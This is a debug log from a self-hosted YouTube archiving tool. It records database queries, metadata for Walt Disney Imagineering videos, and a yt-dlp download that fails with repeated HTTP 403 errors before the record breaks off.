WHERE (s0."id" = ?) [2] 18:56:40.316 [debug] QUERY OK source="media_items" db=0.5ms idle=910.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 22:00:01Z], 2] 18:56:40.318 [debug] QUERY OK source="media_items" db=1.5ms idle=911.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → https://youtu.be/IZwvg7w1_Kw\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "b650dcf3-b65e-4b78-a613-25d1bbae13f9", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", false, 156, false, 5, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].mp4", false, false, 2, [], 98, ~U[2026-02-24 22:00:01Z], ~U[2026-03-31 22:56:40Z], ~U[2026-03-31 22:56:40Z], "Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → https://youtu.be/IZwvg7w1_Kw\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", 156, false, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].mp4", false, 2, ~U[2026-02-24 22:00:01Z]] 18:56:40.318 [debug] QUERY OK source="sources" db=0.1ms idle=748.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:40.319 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:40.319 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9847] 18:56:40.319 [debug] Current batch of media processed. Will check again in 1000ms 18:56:41.320 [debug] Current batch of media processed. Will check again in 1000ms 18:56:42.321 [debug] Current batch of media processed. Will check again in 1000ms 18:56:43.322 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ *What makes this special?*\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "duration" => 268, "filename" => "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].mp4", "id" => "Q1cJY2wpQRQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", "playlist_index" => 6, "timestamp" => 1771366846, "title" => "How Does Disney Do This - Three Stages in ONE Theater?!", "upload_date" => "20260217"} 18:56:43.323 [debug] QUERY OK source="sources" db=0.2ms idle=1917.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:43.323 [debug] QUERY OK source="sources" db=0.1ms idle=1918.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:43.324 [debug] QUERY OK source="media_items" db=0.5ms idle=1918.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 22:20:46Z], 2] 18:56:43.326 [debug] QUERY OK source="media_items" db=1.6ms idle=1750.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ *What makes this special?*\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "How Does Disney Do This - Three Stages in ONE Theater?!", "60319371-2e36-4361-ad58-b892be532c80", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", false, 268, false, 6, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].mp4", false, false, 2, [], 98, ~U[2026-02-17 22:20:46Z], ~U[2026-03-31 22:56:43Z], ~U[2026-03-31 22:56:43Z], "Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ *What makes this special?*\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "How Does Disney Do This - Three Stages in ONE Theater?!", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", 268, false, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].mp4", false, 2, ~U[2026-02-17 22:20:46Z]] 18:56:43.327 [debug] QUERY OK source="sources" db=0.1ms idle=750.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:43.327 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:43.327 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9394] 18:56:43.327 [debug] Current batch of media processed. Will check again in 1000ms 18:56:44.328 [debug] Current batch of media processed. Will check again in 1000ms 18:56:44.409 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cb/81/cb81fc4859a56be2f9f052b44afa009d14084895b3b2dafbefbf79ad8b883d81.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 18:56:44.409 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 18:56:44.411 [debug] QUERY OK source="media_items" db=1.2ms idle=831.3ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: 